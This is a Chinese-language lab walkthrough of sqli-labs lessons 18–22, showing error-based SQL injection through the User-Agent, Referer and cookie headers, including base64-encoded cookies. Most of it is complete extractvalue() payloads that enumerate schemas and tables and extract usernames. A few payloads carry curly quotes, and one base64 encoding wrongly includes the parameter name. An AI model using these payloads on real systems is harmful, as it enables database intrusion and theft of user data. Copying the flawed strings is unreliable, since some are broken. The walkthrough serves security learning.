Less-18 – 头信息– uagent – 基于错误 – 字符型
对 uname 和 passwd 进行了 check_input()函数的处理,所以我们在输入 uname 和 passwd 上
进行注入是不行的,但是在代码中,我们看到了 insert()
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
/*
echo 'Your Your User name:'. $uname;
echo "<br>";
echo 'Your Password:'. $passwd;
echo "<br>";
echo 'Your User Agent String:'. $uagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;
insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent',
'$IP', $uname)";
*/
利用burpsuite尝试在 User-Agent 的位置进行注入测试,根据提示是从 user-agent下手
user-agent 修改为’and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1’='1
可以查到数据库版本
1、查库
'or extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) or ’
可能显示不全,单个显示用limit 0,1
'or extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) or ’
2、查表
'or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e)) or ’
3、查列
'or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ limit 0,1),0x7e)) or ’
4、查数据
'or extractvalue(1,concat(0x7e,(select username from security.users limit 0,1),0x7e)) or ’
Less-19 – 头信息– referer– 基于错误 – 字符型
和 less18 是基本一致的,根据提示,我们从 referer 进行修改。
1、查库
'or extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) or ’
可能显示不全,单个显示用limit 0,1
'or extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) or ’
2、查表
'or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e)) or ’
3、查列
'or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ limit 0,1),0x7e)) or ’
4、查数据
'or extractvalue(1,concat(0x7e,(select username from security.users limit 0,1),0x7e)) or ’
和18关一模一样
Less-20 – cookie 注入
Cookie 是由服务器端生成,发送给 User-Agent(一般是浏览器),浏览器会将Cookie 的 key/value 保存到某个目录下的文本文件内,下次请求同一网站时就发送该 Cookie 给服务器(前 提是浏览器设置为启用 cookie)。Cookie 名称和值可以由服务器端开发自己定义,对于 JSP 而言也可以直接写入 jsessionid,这样服务器 可以知道该用户是否合法用户以及是否需要重新登录等,服务器可以设置或读取 Cookies 中包含信息,借此维护用户跟服务器会话中的状态。
根据页面提示,修改cookie,建议用burpsuite修改,抓第二次的页面包,第一次的包可能没有cookie。
抓这个包
开始注入,由于前台显示,我们可以不用盲注的方法,参考LESS-1的方法
盲注的话,还是参考我LESS-18的方法,查库查表的方法都是通用的
Less-21 cookie 注入 – – base64 编码
Base64 编码的思想是是采用 64 个基本的 ASCII 码字符对数据进行重新编码。它将需要编码
的数据拆分成字节数组。以 3 个字节为一组。按顺序排列 24 位数据,再把这 24 位数据分
成 4 组,即每组 6 位。再在每组的的最高位前补两个 0 凑足一个字节。这样就把一个 3 字节
为一组的数据重新编码成了 4 个字节。当所要编码的数据的字节数不是 3 的整倍数,也就是
说在分组时最后一组不够 3 个字节。这时在最后一组填充 1 到 2 个 0 字节。并在最后编码完
成后在结尾添加 1 到 2 个 “=”。
base64解码网址
1、查库
原句
uname=admin1 ')or extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) #
加密
uname=YWRtaW4xICcpb3IgIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHNjaGVtYV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSksMHg3ZSkpICM=
可能显示不全,单个显示用limit 0,1,下面也是
原句
uname=admin1 ')or extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) #
加密
uname=dW5hbWU9YWRtaW4xICcpb3IgIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3Qgc2NoZW1hX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEgbGltaXQgMCwxKSwweDdlKSkgICM=
2、查表
原句
uname=admin1 ')or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e)) #
3、查列
原句
uname=admin1 ')or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ limit 0,1),0x7e)) #
4、查数据
原句
uname=admin1 ')or extractvalue(1,concat(0x7e,(select username from security.users limit 0,1),0x7e)) #
Less-22
我们可以从源代码中找到这里对 uname 进行了”uname”的处理
所以
1、查库
原句
uname=admin1"or extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) #
加密
YWRtaW4xIm9yICBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHNjaGVtYV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhIGxpbWl0IDAsMSksMHg3ZSkpICM=
2、查表
uname=admin1"or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e)) #
3、查列
uname=admin1"or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ limit 0,1),0x7e)) #
4、查数据
uname=admin1"or extractvalue(1,concat(0x7e,(select username from security.users limit 0,1),0x7e)) #